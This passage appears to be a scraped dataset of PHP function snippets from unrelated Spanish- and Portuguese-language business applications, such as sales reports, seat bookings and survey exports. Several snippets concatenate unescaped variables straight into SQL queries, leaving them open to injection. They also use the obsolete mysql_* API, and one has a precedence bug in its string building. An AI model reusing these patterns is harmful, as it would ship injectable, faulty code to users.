m.IdPoliza=p.id and p.activo=1 and m.Activo=1 group by m.Cuenta\n\t\t\t\");\n\t\t\treturn $sql;\n\t\t}", "public function getCotizaciones() {\n $sql = \"SELECT cot_odt.id_odt, cot_odt.num_odt, cot_odt.id_modelo, cot_odt.tiraje, cot_odt.fecha_odt\n , cot_odt.hora_odt, modelos_cajas.nombre as nombre_caja\n , clientes.nombre as nombre_cliente\n FROM cot_odt\n join modelos_cajas on cot_odt.id_modelo = modelos_cajas.id_modelo\n join clientes on cot_odt.id_cliente = clientes.id_cliente\n WHERE cot_odt.status = 'A' order by cot_odt.fecha_odt desc, cot_odt.hora_odt desc\";\n\n $query = $this->db->prepare($sql);\n\n $query->execute();\n\n $result = array();\n\n while ($row = $query->fetch(PDO::FETCH_ASSOC)) {\n\n $result[] = $row;\n }\n\n return $result;\n\n }", "public function getRealContenidos() {\r\n// FROM contenidos c1 \r\n// JOIN contenidos c2 ON c1.padre=c2.id \r\n// JOIN contenidos c3 ON c2.padre=c3.id \r\n// ORDER BY c1.nombre ASC';\r\n\t\t\t\t$sql = 'SELECT c1.* \r\n FROM contenidos c1 \r\n WHERE padre = 0 \r\n ORDER BY c1.nombre ASC';\r\n \r\n return $this->getList(new SqlQuery($sql));\r\n \r\n }", "public function queryMarcasPrincipales($opcion){\n $contador = 0;\n $vectorImagenes = array();\n $vectorNombres = array();\n if ($opcion == 1){\n $nombre = \"padreContent\";\n }else if ($opcion == 2){\n $nombre = \"hijoContent\";\n }else if ($opcion == 3){\n $nombre = \"nietoContent\";\n }\n foreach ($this->{$nombre} as $content){\n $dom = new DOMDocument();\n $dom->loadHTML(\"$content\");\n $xpath = new DOMXPath($dom);\n $tag = \"div\";\n $class = \"home-category-box\";\n $consulta = \"//\".$tag.\"[@class='\".$class.\"']\";\n $elemento = $xpath->query($consulta);\n if ($elemento->length > 0){\n $div = $elemento->item(0);\n $imgs = $div->getElementsByTagName(\"img\");\n $strongs = $div->getElementsByTagName(\"strong\");\n foreach($imgs as $img){\n array_push($vectorImagenes,$img->getAttribute(\"src\"));\n }\n foreach($strongs as $strong){\n $marcaNombre = explode(\" \",$strong->nodeValue);\n $marca = $marcaNombre[count($marcaNombre)-1];\n $marca = rtrim(ltrim($marca));\n array_push($vectorNombres,$marca);\n }\n }\n $contador++;\n }\n $vectorNombreMarcaImagen = array_combine($vectorNombres,$vectorImagenes);\n $this->vectorImagenesPrincipalesMarcas = array_merge($this->vectorImagenesPrincipalesMarcas,$vectorNombreMarcaImagen);\n }", "public function getMarcacaos()\n {\n return $this->hasMany(Marcacao::className(), ['id_especialidade' => 'id']);\n }", "private function asientosOcupados($entradasUsu, $entradasAnon){\n \n \n \n foreach ($entradasUsu as $entU){\n \n $asiento = new Asientos();\n \n $asiento->buscarPorId($entU[\"cod_asiento\"]);\n \n $asientoOcupado[$asiento->fila][$asiento->columna] = true;\n \n }\n \n \n foreach ($entradasAnon as $entA){\n \n $asiento = new Asientos();\n \n $asiento->buscarPorId($entA[\"cod_asiento\"]);\n \n $asientoOcupado[$asiento->fila][$asiento->columna] = true;\n \n }\n \n return $asientoOcupado;\n \n }", "public function RelatorioCentroCusto($idobra, $idcentro) {\n $obra = new clsObra();\n $obra->preencheDados($idobra);\n\n $centroNome = \"\";\n if ($idcentro > 0) {\n $centro = new clsCentroCusto();\n $centro->RetornaCentroCusto($idcentro);\n $centroNome = \" - Centro de Custo: \" . $centro->getDescCentro();\n }\n\n $html = '<table border = \"3\" cellspacing = \"2\" cellpadding = \"2\">\n <tr height = \"2\">\n </br>\n <b><span style=\"font-size: 20px\">Retirada de Material</span></b>\n </br>\n <span align=\"center\" style=\"font-size: 20px\">Obra: ' . $obra->getDescricao() . $centroNome . '</span>\n <th align = \"center\" class = \"small\" width = \"150px\">Data Retirada</th>\n <th align = \"center\" class = \"small\" width = \"600px\">Material</th>\n <th align = \"center\" class = \"small\" width = \"150px\">Quantidade</th>\n </tr>';\n\n\n $SQL = \"SELECT re.QUANTRETIRADA, re.DATARETESTOQUE, CONCAT(mt.DESCMATERIAL, ' / ' , un.SIGLAUNID) MATERIAL\n FROM retirada_estoque re\n INNER JOIN material mt\n ON re.IDMATERIAL = mt.IDMATERIAL\n INNER JOIN unidade un\n ON re.IDUNIDADE = un.IDUNIDADE\n WHERE re.IDOBRA = \" . $idobra . \"\";\n//die($SQL);\n if ($idcentro > 0) {\n $SQL.=\" AND re.IDCENTRO =\" . $idcentro . \" \";\n }\n\n\n $SQL.=\" ORDER BY STR_TO_DATE(re.DATARETESTOQUE,'%d/%m/%Y'), mt.DESCMATERIAL \";\n\n $con = new gtiConexao();\n $con->gtiConecta();\n $tbl = $con->gtiPreencheTabela($SQL);\n $con->gtiDesconecta();\n\n //die($SQL);\n foreach ($tbl as $chave => $linha) {\n\n $html .= ' <tr height = \"1\">\n <td align = \"center\" class = \"small\" width = \"100px\"> ' . htmlentities($linha['DATARETESTOQUE']) . ' </td>\n <td align = \"center\" class = \"small\" width = \"100px\"> ' . htmlentities($linha['MATERIAL']) . ' </td>\n <td align = \"center\" class = \"small\" width = \"100px\"> ' . $linha['QUANTRETIRADA'] . ' </td>\n </tr>';\n }\n\n\n $html .= '</table> ';\n\n\n\n\n\n\n $html .= '<table border = \"3\" cellspacing = \"2\" cellpadding = \"2\">\n <tr height = \"2\">\n </br>\n <b><span style=\"font-size: 20px\">Retirada de Material - Soma Geral</span></b> \n <th align = \"center\" class = \"small\" width = \"650px\">Material</th>\n <th align = \"center\" class = \"small\" width = \"250px\">Quantidade</th>\n </tr>';\n\n\n $SQL = \"SELECT SUM(re.QUANTRETIRADA) SOMA, re.DATARETESTOQUE, CONCAT(mt.DESCMATERIAL, ' / ' , un.SIGLAUNID) MATERIAL\n FROM retirada_estoque re\n INNER JOIN material mt\n ON re.IDMATERIAL = mt.IDMATERIAL\n INNER JOIN unidade un\n ON re.IDUNIDADE = un.IDUNIDADE\n WHERE re.IDOBRA = \" . $idobra . \"\";\n//die($SQL);\n if ($idcentro > 0) {\n $SQL.=\" AND re.IDCENTRO =\" . $idcentro . \" \";\n }\n\n\n $SQL.=\" GROUP BY mt.DESCMATERIAL \n ORDER BY mt.DESCMATERIAL \";\n\n $con = new gtiConexao();\n $con->gtiConecta();\n $tbl = $con->gtiPreencheTabela($SQL);\n $con->gtiDesconecta();\n\n //die($SQL);\n foreach ($tbl as $chave => $linha) {\n\n $html .= ' <tr height = \"1\"> \n <td align = \"center\" class = \"small\" width = \"100px\"> ' . htmlentities($linha['MATERIAL']) . ' </td>\n <td align = \"center\" class = \"small\" width = \"100px\"> ' . $linha['SOMA'] . ' </td>\n </tr>';\n }\n\n\n $html .= '</table> ';\n\n\n\n\n\n //die(print_r($arrayNota));\n\n return $html;\n }", "function ordenaPorFechas($mes, $anno, $kategoria, $quePais) // a este se le entra con el username\n {\ninclude ('cajitaCurso.php'); //archivo donde esta la funcion que tira la cajita\n//contador\n$sqlContador = \"SELECT count(*) FROM cursos LEFT JOIN fechas ON fechas.idcurso = cursos.id where cursos.categoria LIKE '%$kategoria%' AND MONTH(fechas.fechainicio) LIKE $mes AND YEAR(fechas.fechainicio) LIKE $anno AND cursos.pais LIKE '$quePais' ORDER BY fechas.fechainicio \";\n\n// ESTE ES CUANDO ESTA DEMASIADO LLENO $sqlContador = \"SELECT count(*) FROM cursos LEFT JOIN fechas ON fechas.idcurso = cursos.id where cursos.categoria LIKE '%$kategoria%' AND MONTH(fechas.fechainicio) LIKE $mes AND YEAR(fechas.fechainicio) LIKE $anno AND cursos.pais LIKE '$quePais' AND fechas.fechainicio >= NOW() ORDER BY fechas.fechainicio ASC\";\n\n\n\n$count = mysql_fetch_row(mysql_query($sqlContador)) or die(\"Query failed : \" . mysql_error() . mysql_errno());\nglobal $contadorGeneral;\n$contadorGeneral = $count[0];\n//echo $contadorGeneral;\n\n//contador\t\n\t$sql = \"SELECT * FROM cursos LEFT JOIN fechas ON fechas.idcurso = cursos.id where cursos.categoria LIKE '%$kategoria%' AND MONTH(fechas.fechainicio) LIKE $mes AND YEAR(fechas.fechainicio) LIKE $anno AND cursos.pais LIKE '$quePais' ORDER BY fechas.fechainicio DESC LIMIT \".DondeComienzo().\", \".MAXCAJITAS.\"\";\n\n// ESTE ES CUANDO ESTA DEMASIADO LLENO $sql = \"SELECT * FROM cursos LEFT JOIN fechas ON fechas.idcurso = cursos.id where cursos.categoria LIKE '%$kategoria%' AND MONTH(fechas.fechainicio) LIKE $mes AND YEAR(fechas.fechainicio) LIKE $anno AND cursos.pais LIKE '$quePais' AND fechas.fechainicio >= NOW() ORDER BY fechas.fechainicio ASC LIMIT \".DondeComienzo().\", \".MAXCAJITAS.\"\";\n\n\n//echo $sql;\n$result = mysql_query($sql) or die(\"Query failed : \" . mysql_error() . mysql_errno()); \nwhile ($row = mysql_fetch_array($result))\n {\n\t\t\t CajitaCursoLlena($row['idcurso'], convierte_fecha($row['fechainicio']));\t\n\t\t\t}\n}", "public function consultaCargos() {\n\t\t\treturn $this->entidad->getRepository('\\Entidades\\Expertos\\UsuariosCargo')->findAll();\n\t\t}", "public function get_cargos($centro_costo){\n\t\t\t\n\t\t\t\n\t\t\ttry { \n\t\t\t\tglobal $conn;\n\t\t\t\t$sql=\"SELECT distinct c.cod_car, C.NOM_CAR \n\t\t\t\t\t FROM CARGOS C, CENTROCOSTO2 AREA, EMPLEADOS_BASIC EPL\n\t\t\t\t\t\tWHERE \n\t\t\t\t\t EPL.COD_CC2='\".$centro_costo.\"'\n\t\t\t\t\t\tAND EPL.COD_CAR=C.COD_CAR\n\t\t\t\t\t\torder by nom_car asc\n\t\t\t\t\t\t\";\n\t\t\t\t\t\t\n\t\t\t\t$rs=$conn->Execute($sql);\n\t\t\t\twhile($fila=$rs->FetchRow()){\n\t\t\t\t\t$this->lista[]=array(\"codigo\" => $fila[\"cod_car\"],\n\t\t\t\t\t\t\t\t\t\t \"cargos\"=> utf8_encode($fila[\"NOM_CAR\"]));\n\t\t\t\t}\n\t\t\t\n\t\t\t\treturn $this->lista;\n\t\t\t\t\n\t\t\t}catch (exception $e) { \n\n\t\t\t var_dump($e); \n\n\t\t\t adodb_backtrace($e->gettrace());\n\n\t\t\t} \n\t\t\n\t\t}", "function listar_areas_curriculares() {\n\t\t$query = \"SELECT material_area_curricular.*\n\t\tFROM material_area_curricular\n\t\tORDER BY orden_ac asc\";\n\n $connection = mysql_connect($this->HOST, $this->USERNAME, $this->PASSWORD);\n\t\t\n\t\t$SelectedDB = mysql_select_db($this->DBNAME);\n\t\t$result = mysql_query($query); \n\t\t\n\t\t$numrows = mysql_num_rows($result);\n\t\tmysql_close($connection);\n\t\t// COMPROBAMOS QUE HAYA RESULTADOS\n\t\t// SI EL NUMERO DE RESULTADOS ES 0 SIGNIFICA QUE NO HAY REGISTROS CON ESOS DATOS\n\t\tif ($numrows == 0) {\n\t\t\treturn $result;\n\t\t}\n\t\telse {\n\t\t\treturn $result;\n\t\t}\n\t}", "public function getListadoCattareas()\r\n {\r\n return $this->conexionCattarea->listaLlaves(\"correlativo\", \"ASC\");\r\n }", "public function getCargos()\n {\n return $this->cargos;\n }", "public function linea_colectivo();", "public function accionesPorControlador(){\n $res = $this->find(\"modulo = '$this->modulo' AND controlador = '$this->controlador' AND accion != ''\",\n 'columns: id,accion');\n return $res;\n }", "protected function armaColeccionZpCarac() {\n $arrayRet = array();\n $dao = new PGDAO();\n $where = $this->strZpTprop();\n if ($where != '') {\n $arrayRet = $this->leeDBArray($dao->execSql($this->COLECCIONZPCARAC . \" where tipoprop in (\" . $where . \")\"));\n } else {\n $arrayRet = $this->leeDBArray($dao->execSql($this->COLECCIONZPCARAC));\n }\n return $arrayRet;\n }", "function Cuerpo($acceso,$where)\n\t{\n\t\t$acceso->objeto->ejecutarSql(\"select id_persona from vista_orden order By id_orden desc LIMIT 1 offset 0\");\n\t\tif($row=row($acceso))\n\t\t{\n\t\t\t$tecnico=trim($row[\"id_persona\"]);\n\t\t}\n\t\telse{\n\t\t\t$acceso->objeto->ejecutarSql(\"select *from vista_tecnico LIMIT 1 offset 0\");\n\t\t\tif($row=row($acceso))\n\t\t\t{\n\t\t\t\t$tecnico=trim($row[\"id_persona\"]);\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\n\t\n\t\n\t\t$w=$this->TituloCampos();\n\t\t\n\t\t$dato=lectura($acceso,$where);\n\t\n\t\t$this->SetFont('Arial','',8);\n\t\t$cont=1;\n\t\t\n\t\t\n\t\t$salto=0;\n\t\t$f_act=date(\"d/m/Y\");\n\t\t$h_act=date(\"h:i:s A\");\n\t\t$nombre_zona=utf8_decode(trim($dato[0][\"nombre_zona\"]));\n\t\t$nombre_sector=utf8_decode(trim($dato[0][\"nombre_sector\"]));\n\t\t\n\t\t$cad=\"{\\\\rtf1\\\\ansi\\\\ansicpg1252\\\\deff0\\\\deflang11274{\\\\fonttbl{\\\\f0\\\\fswiss\\\\fcharset0 Arial;}}\n{\\\\*\\\\generator Msftedit 5.41.15.1512;}\\\\viewkind4\\\\uc1\\\\pard\\\\tx1988\\\\f0\\\\fs32 hola\\\\par\n\";\n\t\tfor($i=0;$i<count($dato);$i++){\n\t\t\t$this->SetTextColor(0);\n\t\t\t$this->SetFillColor(249,249,249);\n\t\t\t\n\t\t\t$id_contrato=trim($dato[$i][\"id_contrato\"]);\n\t\t//\tordenDeCorte($acceso,$id_contrato,$tecnico);\n\t\t\t\n\t\t\t$this->SetX(10);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$this->SetX(10);\n\t\t\t$this->Cell($w[0],5,$cont,\"1\",0,\"C\",$fill);\n\t\t\t$nro_contrato=trim($dato[$i][\"nro_contrato\"]);\n\t\t\t$cedula=trim($dato[$i][\"cedula\"]);\n\t\t\t$nombre=utf8_decode(trim($dato[$i][\"nombre\"]).\" \".trim($dato[$i][\"apellido\"]));\n\t\t\t$etiqueta=utf8_decode(trim($dato[$i][\"etiqueta\"]));\n\t\t\t$telefono=utf8_decode(trim($dato[$i][\"telefono\"]));\n\t\t\t$deuda=number_format(trim($dato[$i][\"deuda\"])+0, 2, ',', '.');\n\t\t\t\n\t\t\t$this->Ln();\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(12,5,strtoupper(_(\"zona\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$this->Cell(40,5,utf8_decode(trim($dato[$i][\"nombre_zona\"])),\"TBR\",0,\"J\",$fill);\n\t\t\t$nombre_zona=utf8_decode(trim($dato[$i][\"nombre_zona\"]));\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(14,5,strtoupper(_(\"sector\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$nombre_sector=utf8_decode(trim($dato[$i][\"nombre_sector\"]));\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(12,5,strtoupper(_(\"calle\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$nombre_calle=utf8_decode(trim($dato[$i][\"nombre_calle\"]));\n\t\t\t\n\t\t\t\n\t\t\t$this->Ln();\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(17,5,strtoupper(_(\"nro casa\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$num_casa=utf8_decode(trim($dato[$i][\"numero_casa\"]));\n\t\t\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(10,5,strtoupper(_(\"edif\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$edificio=utf8_decode(trim($dato[$i][\"edificio\"]));\n\t\t\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(10,5,strtoupper(_(\"piso\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$n_p=utf8_decode(trim($dato[$i][\"numero_piso\"]));\n\t\t\n\t\t\t$this->SetFont('Arial','B',8);\n\t\t\t$this->Cell(8,5,strtoupper(_(\"ref\")).\": \",\"TLB\",0,\"J\",$fill);\n\t\t\t$this->SetFont('Arial','',8);\n\t\t\t$direc_adicional=utf8_decode(trim($dato[$i][\"direc_adicional\"]));\n\t\t\t//$this->MultiCell(81,5,utf8_decode(trim($dato[$i][\"direc_adicional\"])),'TR','J');\n\t\t\t$this->SetFont('Arial','',2);\n\t\t\t$this->Ln();\n\t\t\t$this->SetX(114);\n\t\t//\t$this->Cell(89,3,'',\"LR\",0,\"C\",$fill);\n\t\t\t//$this->Cell(array_sum($w),3,'',\"RL\",0,\"C\",$fill);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$this->Ln();\n\t\t\t$fill=!$fill;\n\t\t\t\n\t\t\t$salto++;\n\t\t\tif($salto==11 && $salto!=count($dato)){\n\t\t\t\t$this->AddPage();\n\t\t\t\t\n\t\t\t\t$w=$this->TituloCampos();\n\t\t\t\t$salto=0;\n\t\t\t}\n\t\t\t\n\t\t\t$cad.=\"$nro_contrato \\\\tab $nro_contrato \\\\tab\n\";\n\t\t$cont++;\n\t\t}\n\t\t\n\t\t$this->SetX(10);\n\t\t$this->Cell(array_sum($w),5,'','T');\n\t\t$cad.=\"}\n\";\n\t\treturn $cad;\n\t}", "function datos_censales($alumno)\n\t{\n $formulario_habilitado = $this->s__datos_config_reporte['formulario_habilitado'];\n\t\t//$habilitacion = $this->s__datos_config_reporte['habilitacion'];\n \n\t\t$formulario_terminado = toba::consulta_php('consultas_relevamiento_ingenierias')->get_formulario_terminado($formulario_habilitado, $alumno['encuestado']);\n\t\t\n\t\tif (!empty($formulario_terminado)) {\n\t\t\t$formulario_habilitado = $formulario_terminado[0]['formulario_habilitado'];\n\t\t\t$this->respuestas = toba::consulta_php('consultas_relevamiento_ingenierias')->get_respuestas_completas_formulario_habilitado_encuestado($formulario_habilitado, $alumno['encuestado']);\n\t\t\t\n\t\t\t//Respuestas Datos Censales Principales\n\t\t\t$rta_estado_civil \t= $this->get_respuestas(247);\n\t\t\t$rta_cant_hijos \t= $this->get_respuestas(248);\n\t\t\t$rta_cant_fliares \t= $this->get_respuestas(249);\n\t\t\t$rta_calle\t\t\t= $this->get_respuestas(251);\n\t\t\t$rta_numero\t\t\t= $this->get_respuestas(252);\n\t\t\t$rta_piso\t\t\t= $this->get_respuestas(253);\n\t\t\t$rta_depto\t\t\t= $this->get_respuestas(254);\n\t\t\t$rta_unidad\t\t\t= $this->get_respuestas(255);\n\t\t\t$rta_localidad\t\t= $this->get_respuestas(256);\n\t\t\t$rta_calle_proc\t\t= $this->get_respuestas(258);\n\t\t\t$rta_numero_proc\t= $this->get_respuestas(259);\n\t\t\t$rta_piso_proc\t\t= $this->get_respuestas(260);\n\t\t\t$rta_depto_proc\t\t= $this->get_respuestas(261);\n\t\t\t$rta_unidad_proc\t= $this->get_respuestas(262);\n\t\t\t$rta_localidad_proc\t= $this->get_respuestas(263);\n\t\t\t\n\t\t\t//Respuestas Datos Económicos - Financiamiento estudios\n\t\t\t$rtas_fuente = $this->get_respuestas(265, true);\n\t\t\t$rtas_beca\t = $this->get_respuestas(266, true);\n\t\t\t\n\t\t\t//Situación laboral\n\t\t\t$rta_cond_activ\t\t = $this->get_respuestas(268);\n\t\t\t$rta_es_usted\t\t = $this->get_respuestas(269);\n\t\t\t$rta_ocupacion_es\t = $this->get_respuestas(270);\n\t\t\t$rta_horas_semanales = $this->get_respuestas(271);\n\t\t\t$rta_rel_trab_carrera = $this->get_respuestas(272);\n\t\t\t\n\t\t\t//Situación del padre\n\t\t\t$rta_nivel_est_padre\t = $this->get_respuestas(274);\n\t\t\t$rta_vive_padre\t\t\t = $this->get_respuestas(275);\n\t\t\t$rta_cond_activ_padre\t = $this->get_respuestas(276);\n\t\t\t$rta_es_usted_padre\t\t = $this->get_respuestas(277);\n\t\t\t$rta_ocupacion_es_padre\t = $this->get_respuestas(278);\n\t\t\t$rta_si_no_trabaja_padre = $this->get_respuestas(279);\n\t\t\t\n\t\t\t//Situación de la madre\n\t\t\t$rta_nivel_est_madre\t = $this->get_respuestas(281);\n\t\t\t$rta_vive_madre\t\t\t = $this->get_respuestas(282);\n\t\t\t$rta_cond_activ_madre\t = $this->get_respuestas(283);\n\t\t\t$rta_es_usted_madre\t\t = $this->get_respuestas(284);\n\t\t\t$rta_ocupacion_es_madre\t = $this->get_respuestas(285);\n\t\t\t$rta_si_no_trabaja_madre = $this->get_respuestas(286);\n\t\t\t\n\t\t\t//Se arma la linea con las respuestas - Datos Censales Principales\n\t\t\t$linea = '|'.$rta_estado_civil['respuesta_valor'];\n\t\t\t$linea .= '|'.$rta_cant_hijos['respuesta_valor'];\n\t\t\t$linea .= '|'.$rta_cant_fliares['respuesta_valor'];\n\t\t\t$linea .= '|'.$rta_calle['respuesta_valor'].'|'.$rta_numero['respuesta_valor'].'|'.$rta_piso['respuesta_valor'];\n\t\t\t$linea .= '|'.$rta_depto['respuesta_valor'].'|'.$rta_unidad['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_localidad) ? '' : $rta_localidad['respuesta_valor'];\n\t\t\t$linea .= '|'.$rta_calle_proc['respuesta_valor'].'|'.$rta_numero_proc['respuesta_valor'].'|'.$rta_piso_proc['respuesta_valor'];\n\t\t\t$linea .= '|'.$rta_depto_proc['respuesta_valor'].'|'.$rta_unidad_proc['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_localidad_proc) ? '' : $rta_localidad_proc['respuesta_valor'];\n\t\t\t\n\t\t\t//Respuestas Datos Económicos - Financiamiento estudios\n\t\t\t$linea .= '|'.$this->get_lista_array_fuente($rtas_fuente).'|'.$this->get_lista_array_beca($rtas_beca);\n\t\t\t\n\t\t\t//Situación laboral\n\t\t\t$linea .= '|'.$rta_cond_activ['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_es_usted) \t\t ? '' : $rta_es_usted['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_ocupacion_es) \t ? '' : $rta_ocupacion_es['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_horas_semanales) ? '' : $rta_horas_semanales['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_rel_trab_carrera) ? '' : $rta_rel_trab_carrera['respuesta_valor'];\n\t\t\t\n\t\t\t//Situación del padre\n\t\t\t$linea .= '|'.$rta_nivel_est_padre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_vive_padre) \t\t ? '' : $rta_vive_padre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_cond_activ_padre) \t ? '' : $rta_cond_activ_padre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_es_usted_padre) \t ? '' : $rta_es_usted_padre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_ocupacion_es_padre) ? '' : $rta_ocupacion_es_padre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_si_no_trabaja_padre) ? '' : $rta_si_no_trabaja_padre['respuesta_valor'];\n\t\t\t\n\t\t\t//Situación de la madre\n\t\t\t$linea .= '|'.$rta_nivel_est_madre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_vive_madre) \t\t ? '' : $rta_vive_madre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_cond_activ_madre)\t ? '' : $rta_cond_activ_madre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_es_usted_madre) \t ? '' : $rta_es_usted_madre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_ocupacion_es_madre) ? '' : $rta_ocupacion_es_madre['respuesta_valor'];\n\t\t\t$linea .= '|'.empty($rta_si_no_trabaja_madre) ? '' : $rta_si_no_trabaja_madre['respuesta_valor'];\n\t\t\t\n\t\t\t//Fecha de terminación del formulario\n\t\t\t$linea .= '|'.$formulario_terminado[0]['fecha_terminado'];\n\t\t} else {\n\t\t\t$linea = '|||||||||||||||||||||||||||||||';\n\t\t}\n\t\t\n\t\t//Se retornan las respuestas del alumno\n\t\treturn $linea;\n\t}", "protected function getOpcoes() \r\n\t{\r\n\t\treturn $this->aOpcoes;\r\n\t}", "public function otorgarPrestamo(){\n $fecha = date('d-m-y');\n $this->setFechaOtorgado($fecha);\n $cantidadCuotas = $this->getCantidadCuotas();\n $monto = $this->getMonto();\n $colObjCuota = array();\n for($i=0; $i<$cantidadCuotas; $i++){\n $montoCuota = $monto / $cantidadCuotas;\n $montoInteres = $this->calcularInteresPrestamo($i);\n $colObjCuota[$i] = new Cuota($i, $montoCuota, $montoInteres);\n }\n $this->setColObjCuota($colObjCuota);\n }", "private function butacas_ocupadas($ProximaObraNombre,$ProximaObraMes,$ProximaObraAnyo){\n\t\t//las butacas reservadas de las sesiones en el mes analizado\n\t\t$reservas=Reserva::whereHas('sesion', function ($query) use ($ProximaObraNombre,$ProximaObraMes,$ProximaObraAnyo) {\n \t\t$query->where('nombre_obra', $ProximaObraNombre);\n \t\t$query->where(\"inicio\",\">=\",$ProximaObraAnyo.\"-\".$ProximaObraMes.\"-01\")->where(\"inicio\",\"<=\",$ProximaObraAnyo.\"-\".$ProximaObraMes.\"-31\");\n\t\t})->get();\n\t\t//las butacas bloqueadas aun no reservadas en el mes analizado\n\t\t$butacas=Butaca::whereHas('sesion', function ($query) use ($ProximaObraNombre,$ProximaObraMes,$ProximaObraAnyo) {\n \t\t$query->where('nombre_obra', $ProximaObraNombre);\n \t\t$query->where(\"inicio\",\">=\",$ProximaObraAnyo.\"-\".$ProximaObraMes.\"-01\")->where(\"inicio\",\"<=\",$ProximaObraAnyo.\"-\".$ProximaObraMes.\"-31\");\n\t\t})->get();\n\n\t\t$data[\"butacas_ocupadas_dia\"]=[];\n\t\tforeach ($reservas as $reserva) {\n\t\t\t$dia=Carbon::parse($reserva->sesion->inicio)->format('d');\n\t\t\t$dia=(int)$dia;\n\n\t\t\tif(isset($data[\"butacas_ocupadas_dia\"][$dia])){\n\t\t\t\t$data[\"butacas_ocupadas_dia\"][$dia]+=$reserva->num_butacas;\n\t\t\t}else{\n\t\t\t\t$data[\"butacas_ocupadas_dia\"][$dia]=$reserva->num_butacas;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tforeach ($butacas as $butaca) {\n\t\t\t$dia=Carbon::parse($butaca->sesion->inicio)->format('d');\n\t\t\t$dia=(int)$dia;\n\n\t\t\tif(isset($data[\"butacas_ocupadas_dia\"][$dia])){\n\t\t\t\t$data[\"butacas_ocupadas_dia\"][$dia]++;\n\t\t\t}else{\n\t\t\t\t$data[\"butacas_ocupadas_dia\"][$dia]=1;\n\t\t\t}\n\t\t\t\n\t\t}\n\t\treturn $data[\"butacas_ocupadas_dia\"];\n }", "public function obterCor($nome){\n $cores = Mage::getModel('cores/cores')->getCollection();\n $cor = $cores->addFieldToFilter('nome', $nome)->getFirstItem();\n\n if($cor->getImagem()){\n return $cor->getImagem();\n }else{\n return $cor->getCor();\n }\n }", "public function ventaMayor($idcliente,$get_tcambio){\n //$sql=\"SELECT ocCab.idordenventa,ocCab.importeordencobro,CASE ovCab.IdMoneda WHEN 2 THEN ocCab.importeordencobro*\".$get_tcambio.\" WHEN 1 THEN ocCab.importeordencobro END AS total\n //FROM wc_ordenventa ovCab,wc_ordencobro ocCab\n //WHERE ovCab.idcliente=\".$idcliente.\"\n //AND ovCab.idordenventa=ocCab.idordenventa\n //AND ovCab.vbcreditos=1\n //AND ovCab.vbventas=1\n //AND ovCab.vbcobranzas=1\n //AND ovCab.estado=1\n //ORDER BY ocCab.idordenventa,ocCab.idordencobro ASC\";\n // $array_ventaMayor = $this->scriptArrayCompleto($sql);\n // $idordenventa=-1;\n // for ($i = 0; $i < count($array_ventaMayor); $i++) {\n // if($idordenventa!=$array_ventaMayor[$i]['idordenventa']){\n // $cadena[]=$array_ventaMayor[$i]['total'];\n // }\n // $idordenventa=$array_ventaMayor[$i]['idordenventa'];\n // }\n // $totalmayor=max($cadena);\n //\n // end como nacio la venta\n\n //start como esta actualmente esta la venta -- angel lo indico en el modulo vista global\n $sql=\"SELECT ovCab.idordenventa,CASE ovCab.IdMoneda WHEN 2 THEN SUM(ogCab.importegasto)*\".$get_tcambio.\" WHEN 1 THEN SUM(ogCab.importegasto) END AS total\n FROM wc_ordenventa ovCab,wc_ordengasto ogCab\n WHERE ovCab.idcliente=\".$idcliente.\"\n AND ovCab.idordenventa=ogCab.idordenventa\n AND ovCab.vbcreditos=1\n AND ovCab.vbventas=1\n AND ovCab.vbcobranzas=1\n AND ovCab.estado=1\n AND ogCab.estado=1\n GROUP BY ovCab.idordenventa ORDER BY total DESC;\";\n $array_ventaMayor = $this->scriptArrayCompleto($sql);\n //end como termino la venta\n return $array_ventaMayor[0]['total'];\n }", "function listarCotizacion(){\n\t\t$this->procedimiento='adq.f_cotizacion_sel';\n\t\t$this->transaccion='ADQ_COT_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t\n\t\t$this->setParametro('id_funcionario_usu','id_funcionario_usu','int4');\n $this->setParametro('tipo_interfaz','tipo_interfaz','varchar');\n $this->setParametro('historico','historico','varchar');\n \n\t\t$this->setParametro('id_proceso_compra','id_proceso_compra','int4');\n\t\t//Definicion de la lista del resultado del 